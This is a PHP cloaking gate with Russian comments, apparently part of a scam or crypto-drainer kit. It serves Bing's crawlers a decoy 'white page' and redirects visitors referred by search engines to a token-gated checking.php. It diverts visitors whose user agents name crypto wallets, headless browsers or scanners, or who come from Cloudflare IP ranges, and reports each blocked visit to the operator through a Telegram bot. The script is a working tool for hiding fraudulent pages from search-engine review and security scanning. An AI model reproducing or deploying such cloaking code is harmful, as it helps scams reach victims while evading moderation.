<?php
session_start();
require 'configs.php';

$ua  = strtolower($_SERVER['HTTP_USER_AGENT'] ?? '');
$ref = strtolower($_SERVER['HTTP_REFERER'] ?? '');
$ip  = $_SERVER['REMOTE_ADDR'];
$host = $_SERVER['HTTP_HOST'];

// === 1. Все официальные Bing-боты → white page (bingbot + все его варианты) ===
$ua_lower = strtolower($ua);

$bing_signs = [
    'bingbot',
    'adidxbot',
    'bingpreview',
    'msnbot',           // старый, но иногда ещё встречается
    'microsoftpreview', // для превью в продуктах Microsoft
    'bingvideopreview'  // для видео-превью
];

$is_bing_bot = false;
foreach ($bing_signs as $sign) {
    if (strpos($ua_lower, $sign) !== false) {
        $is_bing_bot = true;
        break;
    }
}

// Дополнительно: если есть +http://www.bing.com/bingbot.htm — это 100% официальный Bing
if (strpos($ua_lower, 'http://www.bing.com/bingbot.htm') !== false) {
    $is_bing_bot = true;
}

if ($is_bing_bot) {
    include 'w0conttenntt.php'; // white page
    exit;
}

// === 2. Разрешённые рефереры ===
$ref_lower = strtolower($ref ?? '');

$good_ref = 
    str_contains($ref_lower, 'bing.') ||
    str_contains($ref_lower, 'duckduckgo.') ||
    str_contains($ref_lower, 'yahoo.');

if (!$good_ref) { 
    log_bot("Прямой заход / плохой реферер"); 
    goto fake; 
}

// === 3. Блокировка кошельков и ботов ===
$bad = ['metamask','phantom','rabby','trustwallet','coinbase wallet','tronlink','polkadot','subwallet','okx','safepal','bitkeep','headless','lighthouse','bot','crawler','scanner','selenium','puppeteer'];
foreach($bad as $b) if(strpos($ua,$b)!==false) { log_bot("Обнаружен кошелёк/бот: $b"); goto fake; }

if (strlen($ua)<70 || str_starts_with($ip,'104.21.') || str_starts_with($ip,'173.245.') || str_starts_with($ip,'141.101.')) {
    log_bot("Подозрительный IP / короткий UA");
    goto fake;
}

// === 4. Генерируем одноразовый токен (живёт 40 сек) ===
$token = bin2hex(random_bytes(16));
$_SESSION['t_'.$token] = time() + 40;

header('Location: https://'.$host.'/checking.php?t='.$token, true, 302);
exit;

fake:
header('Location: https://www.www.'.$host, true, 302);
exit;

// === Функция отстрела в Telegram ===
function log_bot($reason) {
    $ua = $_SERVER['HTTP_USER_AGENT'] ?? 'empty';
    $ref = $_SERVER['HTTP_REFERER'] ?? 'empty';
    $ip = $_SERVER['REMOTE_ADDR'];

    $msg = "BOT DETECTED\n".
           "IP: <code>$ip</code>\n".
           "Причина: $reason\n".
           "UA: <code>".htmlspecialchars(substr($ua,0,200))."</code>\n".
           "Реферер: <code>$ref</code>\n".
           "Время: ".date('Y-m-d H:i:s')." (UTC)";

    @file_get_contents("https://api.telegram.org/bot".TG_TOKEN."/sendMessage?chat_id=".TG_CHAT_ID."&text=".urlencode($msg)."&parse_mode=HTML");
}
?>